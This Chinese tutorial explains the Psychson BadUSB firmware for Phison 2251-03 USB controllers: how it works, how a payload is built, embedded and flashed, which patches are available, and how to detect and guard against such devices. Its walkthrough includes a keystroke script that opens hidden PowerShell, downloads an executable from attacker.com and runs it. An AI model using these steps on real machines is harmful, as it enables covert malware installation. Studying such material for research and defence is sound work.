Psychson技术深度解析:如何通过Phison 2251-03控制器实现BadUSB攻击
Psychson技术深度解析如何通过Phison 2251-03控制器实现BadUSB攻击【免费下载链接】PsychsonPhison 2251-03 (2303) Custom Firmware Existing Firmware Patches (BadUSB)项目地址: https://gitcode.com/gh_mirrors/ps/PsychsonPsychson是一个专门针对Phison 2251-032303USB控制器的开源项目提供完整的定制固件和现有固件补丁解决方案使安全研究人员能够实现BadUSB攻击、隐藏分区创建和固件级安全测试。该项目通过修改USB设备的底层固件使其在插入计算机时模拟键盘输入执行恶意命令为硬件安全研究提供了强大的工具支持。概念解析Psychson的技术架构与工作原理8051微控制器架构与USB HID协议Psychson的核心在于Phison 2251-03控制器使用的8051微控制器架构。这种8位微控制器广泛应用于USB闪存设备中负责管理NAND闪存读写和USB通信。Psychson项目通过逆向工程掌握了该控制器的固件结构实现了对设备底层行为的完全控制。USB HIDHuman Interface Device协议是Psychson实现BadUSB功能的关键技术基础。通过将设备伪装成标准HID设备如键盘Psychson固件能够在设备连接时自动执行预编程的键盘输入序列。固件中的HID报告描述符定义了设备如何被操作系统识别static const BYTE HIDreportDescriptor[] { 0x05, 0x01, 0x09, 0x06, 0xA1, 0x01, 0x05, 0x07, 0x19, 0xE0, 0x29, 0xE7, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x95, 0x01, 0x75, 0x08, 0x81, 0x01, 0x95, 0x05, 0x75, 0x01, 0x05, 0x08, 0x19, 0x01, 0x29, 0x05, 0x91, 0x02, 0x95, 0x01, 0x75, 0x03, 0x91, 0x01, 0x95, 0x06, 0x75, 0x08, 0x15, 0x00, 0x25, 0x65, 0x05, 0x07, 0x19, 0x00, 0x29, 0x65, 0x81, 0x00, 0xC0 };这段描述符定义了设备作为键盘的USB HID报告格式包含8个按键位、5个LED指示灯位和6个字节的键盘扫描码缓冲区。Psychson项目组件架构Psychson采用模块化设计包含五个核心组件DriveComC#编写的Windows应用程序通过SCSI Pass-Through Direct接口与Phison设备通信支持固件提取和刷写功能EmbedPayload将Rubber Ducky格式的键盘脚本嵌入定制固件的工具Injector从固件中提取地址信息并嵌入补丁代码的实用程序firmware基于8051架构的定制固件C源代码patch固件补丁集合提供隐藏分区、密码保护和防引导模式等功能技术要点Psychson通过SCSI命令与USB设备通信绕过了常规文件系统接口直接与控制器固件交互。这种底层通信方式使得项目能够实现固件级的修改和控制。架构设计Psychson的固件修改机制固件内存布局与注入点Psychson固件的核心机制是在固件镜像中预留特定的内存区域用于payload注入。在firmware/main.c中定义了键盘数据缓冲区#define KEY_BUFFER_SIZE 0x2000 static const BYTE keyData[KEY_BUFFER_SIZE] { 0x12, 0x34, 0x56, 0x78 }; int key_index 0; volatile BYTE send_keys_enabled 0;0x12, 0x34, 0x56, 0x78这四个字节作为签名标记EmbedPayload工具会在固件中搜索这个签名并在该位置注入实际的键盘payload数据。这种设计使得固件可以在编译后动态注入不同的攻击脚本。SCSI通信协议实现DriveCom工具通过Windows的SCSI Pass-Through Direct接口与设备通信。在DriveCom/DriveCom/PhisonDevice.cs中定义了与Phison设备通信的数据结构[StructLayout(LayoutKind.Sequential)] class SCSI_PASS_THROUGH_DIRECT { private const int _CDB_LENGTH 16; public short Length; public byte ScsiStatus; public byte PathId; public byte TargetId; public byte Lun; public byte CdbLength; public byte SenseInfoLength; public byte DataIn; public int DataTransferLength; public int TimeOutValue; public IntPtr DataBuffer; public uint SenseInfoOffset; [MarshalAs(UnmanagedType.ByValArray, SizeConst _CDB_LENGTH)] public byte[] Cdb; }通过这个接口DriveCom可以发送特定的SCSI命令如0xBF用于进入引导模式0x06用于读写内存实现对设备固件的完全控制。这张图片展示了Phison 2251-03控制器进入Boot模式的关键步骤。图中红色箭头指示了需要短接的特定引脚位置这是固件刷写前的必要操作。控制器芯片上的PHISON 2251-03字样清晰可见周围有电容、电阻等元件红色标记点指示了短接位置确保设备能够进入引导模式接受新固件。实战演练完整的BadUSB攻击流程环境准备与工具构建首先需要克隆项目仓库并设置构建环境git clone https://gitcode.com/gh_mirrors/ps/Psychson cd Psychson项目使用SDCCSmall Device C Compiler编译8051固件代码。确保SDCC已安装到C:\Program Files\SDCC目录。对于Windows环境还需要安装.NET Framework以编译C#工具。步骤1提取原始固件使用DriveCom工具从目标设备提取固件tools\DriveCom.exe /driveE /actionDumpFirmware /burnerBN03V104M.BIN /firmwareoriginal_fw.bin参数说明/driveE目标设备盘符/actionDumpFirmware执行固件提取操作/burnerBN03V104M.BIN烧录器镜像路径/firmwareoriginal_fw.bin输出固件文件注意事项目前仅支持200KB大小的固件镜像提取这是Patriot 8GB Supersonic Xpress驱动器使用的规格。确保使用与控制器版本和NAND芯片匹配的正确固件镜像。步骤2创建Rubber Ducky攻击脚本创建键盘输入脚本文件attack.txtDELAY 3000 GUI r DELAY 500 STRING cmd.exe ENTER DELAY 1000 STRING powershell -WindowStyle Hidden -Command Start-Process cmd -Verb RunAs ENTER DELAY 2000 STRING powershell -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile C:\Windows\Temp\payload.exe; Start-Process C:\Windows\Temp\payload.exe ENTER使用DuckEncoder转换为二进制格式java -jar duckencoder.jar -i attack.txt -o inject.bin步骤3嵌入攻击payload到固件使用EmbedPayload工具将攻击脚本嵌入定制固件copy CFW.bin attack_fw.bin tools\EmbedPayload.exe inject.bin attack_fw.binEmbedPayload工具的工作原理是在固件中搜索0x12 0x34 0x56 0x78签名并将payload数据写入该位置。工具源代码中的关键逻辑// 在固件数据中搜索签名 var signature new byte[] { 0x12, 0x34, 0x56, 0x78 }; int? address null; for (int i 0; i data.Length; i) { bool match true; for (int j 0; j signature.Length; j) { if (data[i j] ! signature[j]) { match false; break; } } if (match) { address i; break; } }步骤4刷写定制固件到设备将修改后的固件刷写到目标设备tools\DriveCom.exe /driveE /actionSendFirmware /burnerBN03V104M.BIN /firmwareattack_fw.bin刷写完成后设备将作为BadUSB设备运行。当插入计算机时它会自动执行嵌入的键盘输入序列。步骤5验证攻击效果设备连接后操作系统会将其识别为HID键盘设备。在Windows设备管理器中查看人体学输入设备类别应该能看到新添加的键盘设备。攻击脚本会在设备连接后自动执行无需用户交互。最佳实践在测试环境中验证攻击效果确保payload按预期执行。可以使用虚拟机环境进行安全测试避免对生产系统造成影响。高级定制固件补丁与功能扩展隐藏分区补丁实现Psychson提供了隐藏分区功能可以将USB设备的一部分容量隐藏起来用于存储敏感数据。在patch/base.c中启用隐藏分区功能//#define FEATURE_CHANGE_PASSWORD #define FEATURE_EXPOSE_HIDDEN_PARTITION //#define FEATURE_PREVENT_BOOT #define NUM_LBAS 0xE6C980UL // 需要是偶数(向下取整)首先确定设备的逻辑块数量tools\DriveCom.exe /driveE /actionGetNumLBAs将固件镜像放入patch目录并命名为fw.bin然后运行构建脚本cd patch build.bat构建完成后在patch\bin\fw.bin生成修改后的固件镜像使用DriveCom刷写到设备。密码保护补丁密码补丁为设备添加访问控制功能需要输入正确密码才能访问设备#define FEATURE_CHANGE_PASSWORD //#define FEATURE_EXPOSE_HIDDEN_PARTITION //#define FEATURE_PREVENT_BOOT密码补丁修改了SCSI命令处理逻辑在patch/base.c中添加了密码验证机制。设备连接后会要求输入预设密码只有密码正确才能访问存储内容。防引导模式补丁这个补丁使设备不再响应进入引导模式的命令增加设备的隐蔽性和安全性//#define FEATURE_CHANGE_PASSWORD //#define FEATURE_EXPOSE_HIDDEN_PARTITION #define FEATURE_PREVENT_BOOT刷写此补丁后设备将无法通过常规命令进入引导模式。如果需要再次更新固件需要物理短接控制器引脚。对于需要高度安全性的场景可以在刷写后使用环氧树脂封装设备。技术要点防引导模式补丁通过修改SCSI命令0xBF的处理逻辑实现。当接收到进入引导模式的命令时补丁代码会忽略该命令或返回错误响应防止未经授权的固件更新。从源码构建定制固件如果需要深度定制固件功能可以修改源代码后重新构建修改firmware目录中的C文件定制固件行为或修改patch目录中的文件添加自定义补丁在相应目录中运行build.bat刷写生成的固件到设备# 刷写定制固件 tools\DriveCom.exe /driveE /actionSendFirmware /burnerBN03V104M.BIN /firmwarefirmware\bin\fw.bin # 或刷写补丁固件 tools\DriveCom.exe /driveE /actionSendFirmware /burnerBN03V104M.BIN /firmwarepatch\bin\fw.bin安全研究与防御建议攻击检测与防护基于Psychson的BadUSB攻击具有高度隐蔽性但可以通过以下方法检测和防护USB设备审计监控新连接的USB设备特别是HID设备设备指纹识别检查设备的厂商ID、产品ID和序列号行为分析检测异常的键盘输入模式固件验证实现USB设备固件的完整性检查合法使用场景Psychson项目在合法场景下有重要应用价值安全研究了解USB设备的安全漏洞和攻击向量渗透测试在授权范围内测试组织的物理安全防护数字取证恢复被锁定的USB设备数据设备修复修复因固件损坏而无法使用的USB设备法律与伦理考虑使用Psychson及相关技术必须遵守法律法规获得明确授权仅在拥有所有权的设备或获得明确书面授权的设备上使用遵守当地法律了解并遵守所在国家/地区关于计算机安全的法律法规伦理责任不将技术用于非法监控、数据盗窃或其他恶意目的安全披露发现安全漏洞时应负责任地披露给相关厂商技术挑战与解决方案兼容性问题Psychson目前主要支持Phison 2251-03控制器和特定固件版本1.03.53。对于其他控制器版本可能需要调整内存地址映射不同固件版本可能有不同的内存布局SCSI命令集控制器可能使用不同的命令代码时序参数USB通信时序可能需要调整构建环境配置项目依赖SDCC编译器配置时需要注意编译器版本使用与项目兼容的SDCC版本路径设置确保SDCC安装在C:\Program Files\SDCC依赖库安装必要的C标准库和头文件硬件识别与支持识别兼容设备是成功实施的关键控制器型号使用芯片检测工具确认控制器为Phison 2251-03固件版本通过DriveCom工具读取设备信息NAND芯片确认NAND芯片类型与固件兼容总结与展望Psychson项目展示了USB设备固件级别的安全研究价值通过深入理解Phison 2251-03控制器架构实现了从固件提取、修改到刷写的完整工具链。该项目不仅为安全研究人员提供了强大的测试工具也揭示了消费级USB设备可能存在的安全风险。随着USB设备的普及和功能复杂化固件安全变得越来越重要。Psychson的技术思路可以扩展到其他USB控制器型号推动整个行业对设备安全性的重视。未来可能的发展方向包括多控制器支持扩展到其他Phison控制器型号自动化测试开发自动化测试框架验证固件安全性防御工具基于研究成果开发防护工具标准化推动USB设备固件安全标准的制定通过深入研究和负责任地使用Psychson及相关技术安全社区可以更好地理解USB设备的安全边界开发更有效的防护措施最终提升整个生态系统的安全性。重要声明Psychson是实验性软件。在不支持的设备上使用甚至在支持的设备上使用都可能导致数据丢失或设备永久损坏。请仅在您拥有所有权的设备上使用并自行承担风险。技术的使用应遵守所有适用法律和道德准则。【免费下载链接】PsychsonPhison 2251-03 (2303) Custom Firmware Existing Firmware Patches (BadUSB)项目地址: https://gitcode.com/gh_mirrors/ps/Psychson创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

相关新闻

Windows 11轻量定制终极指南:Tiny11Builder脚本深度解析与实践

Windows 11轻量定制终极指南:Tiny11Builder脚本深度解析与实践

Windows 11轻量定制终极指南:Tiny11Builder脚本深度解析与实践 【免费下载链接】tiny11builder Scripts to build a trimmed-down Windows 11 image. 项目地址: https://gitcode.com/GitHub_Trending/ti/tiny11builder 在开发者和技术爱好者的日常工作中&…

2026/7/23 18:14:52 阅读更多 →
AI时代岗位重构:从技能断层到人机协作新界面

AI时代岗位重构:从技能断层到人机协作新界面

1. 这不是危言耸听:当“岗位消失”变成按月发生的日常事件我第一次真正意识到“未来工作”不是PPT里的概念,是在去年帮一家做工业零部件的客户做产线数字化诊断时。他们车间里三台用了八年的CNC加工中心,操作工老张干了十七年,手摸…

2026/7/23 0:32:46 阅读更多 →
Ultimate Vocal Remover v5.6深度解析:三大AI引擎如何革新音频分离体验

Ultimate Vocal Remover v5.6深度解析:三大AI引擎如何革新音频分离体验

Ultimate Vocal Remover v5.6深度解析:三大AI引擎如何革新音频分离体验 【免费下载链接】ultimatevocalremovergui GUI for a Vocal Remover that uses Deep Neural Networks. 项目地址: https://gitcode.com/GitHub_Trending/ul/ultimatevocalremovergui 在…

2026/7/22 22:14:56 阅读更多 →

最新新闻

【工业太赫兹】别被“虚假回波”欺骗了你的数字孪生!从 80GHz FMCW 雷达原始距离谱 FFT 逆向解析到 Python 多目标寻峰与真液位识别算法,深度揭秘靠谱雷达液位计厂家的硬核技术底座

【工业太赫兹】别被“虚假回波”欺骗了你的数字孪生!从 80GHz FMCW 雷达原始距离谱 FFT 逆向解析到 Python 多目标寻峰与真液位识别算法,深度揭秘靠谱雷达液位计厂家的硬核技术底座

各位 CSDN 的后端架构师、物联网(IIoT)全栈极客,以及常年在一线工业现场面对冰冷储罐与纷繁报表的工控老哥们,大家好!在上一篇探讨雷达液位计卡尔曼滤波的文章中,我们解决了随机白噪声和瞬时毛刺引起的小范…

2026/7/24 8:19:45 阅读更多 →
C++游戏开发全攻略:从SFML入门到实战项目构建

C++游戏开发全攻略:从SFML入门到实战项目构建

1. 项目概述:为什么选择C作为游戏开发的起点? 如果你对游戏开发感兴趣,并且被那些炫酷的3A大作背后的技术所吸引,那么C几乎是一个绕不开的名字。它不像Python那样上手快,也不像JavaScript那样在网页端开箱即用&#xf…

2026/7/24 8:19:45 阅读更多 →
2026北京市GEO平台对比指南:4个维度选对生成式搜索优化工具

2026北京市GEO平台对比指南:4个维度选对生成式搜索优化工具

近期,北京市不少品牌市场部布局生成式搜索时,都会提到GEO平台对比的需求——随着豆包、DeepSeek等生成式搜索用户渗透率提升,企业开始关注品牌在生成式结果中的提及率与引用率,但市面上服务质量参差不齐,很多企业不知从…

2026/7/24 8:19:45 阅读更多 →
WINUI3入门实战:从零构建现代化Windows桌面应用

WINUI3入门实战:从零构建现代化Windows桌面应用

1. 项目概述:为什么是WINUI3?如果你是一名C#开发者,尤其是做过WPF、WinForms或者UWP,最近可能总听到WINUI3这个名字。它不是什么全新的语言,而是微软在桌面应用开发领域投下的一枚重磅炸弹。简单来说,WINUI…

2026/7/24 8:19:45 阅读更多 →
C++嵌套循环图形输出:从原理到实战,掌握算法思维基础

C++嵌套循环图形输出:从原理到实战,掌握算法思维基础

1. 项目概述:从“画星星”到“搭金字塔”的思维跃迁最近在带一些刚接触C和算法竞赛的同学,发现一个挺有意思的现象:很多同学在学完基础的循环后,面对“打印图形”这类题目,比如打印一个三角形、菱形或者数字金字塔&…

2026/7/24 8:19:45 阅读更多 →
AI水位识别系统:计算机视觉与深度学习的融合应用

AI水位识别系统:计算机视觉与深度学习的融合应用

1. 项目背景与核心价值水位监测在水利工程、城市防洪、环境监测等领域具有重要应用价值。传统的水位识别主要依赖人工观测或接触式传感器,存在效率低、成本高、难以全天候工作等问题。我们团队开发的这套AI水位识别系统,创新性地将传统计算机视觉技术与深…

2026/7/24 8:18:45 阅读更多 →

日新闻

用Highcharts 创建可拖拽三维散点立方体3D图表

用Highcharts 创建可拖拽三维散点立方体3D图表

该案例基于Highcharts scatter3d 三维散点图实现空间立方体散点可视化,核心特色:三维 X/Y/Z 三轴空间,所有散点分布在 0~10 立方体空间内;散点使用径向渐变实现立体 3D 圆球质感;支持鼠标 / 触屏拖拽画布,…

2026/7/24 0:00:29 阅读更多 →
AppCertDlls:进程创建路径上的 DLL 入口

AppCertDlls:进程创建路径上的 DLL 入口

AppCertDlls:进程创建路径上的 DLL 入口 AppCertDlls 位于 HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls。本文的程序功能是只读列出这个键在 64 位和 32 位注册表视图中的全部值,并显示每条值的来源、名称、类型和可安全显示的数…

2026/7/24 0:00:29 阅读更多 →
我的编程之路:第一篇博客

我的编程之路:第一篇博客

大家好,我是一名编程初学者,同时这也是我编程学习之路上的第一篇博客。在这里,我想要向大家介绍我的一些想法和规划。a.自我介绍我是一个刚刚接触编程的新手,目前在学习c语言,我对编程世界充满了强烈的好奇。当然&…

2026/7/24 0:00:29 阅读更多 →

周新闻

Go语言静态资源打包方案对比与实践指南

Go语言静态资源打包方案对比与实践指南

1. 项目背景与核心需求在Go语言开发中,我们经常需要处理静态资源文件的打包问题。无论是Web应用的模板文件、前端资源,还是配置文件、证书等,都需要随程序一起分发。传统做法是将这些文件与编译后的二进制文件放在同一目录下,但这…

2026/7/24 3:59:20 阅读更多 →
Go语言实现高性能LDAP认证服务的架构与实践

Go语言实现高性能LDAP认证服务的架构与实践

1. 项目背景与核心价值LDAP(轻量级目录访问协议)作为企业级身份认证的黄金标准,已经服务了超过80%的财富500强公司。我在金融科技领域实施统一认证体系时,发现传统Java方案存在启动慢、内存占用高等痛点。而Go语言凭借其协程并发模…

2026/7/24 1:23:39 阅读更多 →
【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

更多请点击: https://intelliparadigm.com 第一章:AI面试官实战指南的核心价值与适用场景 AI面试官并非替代人类HR的“黑箱工具”,而是以可解释、可审计、可迭代的方式,赋能招聘全链路的关键基础设施。其核心价值在于将主观经验沉…

2026/7/23 17:49:47 阅读更多 →

月新闻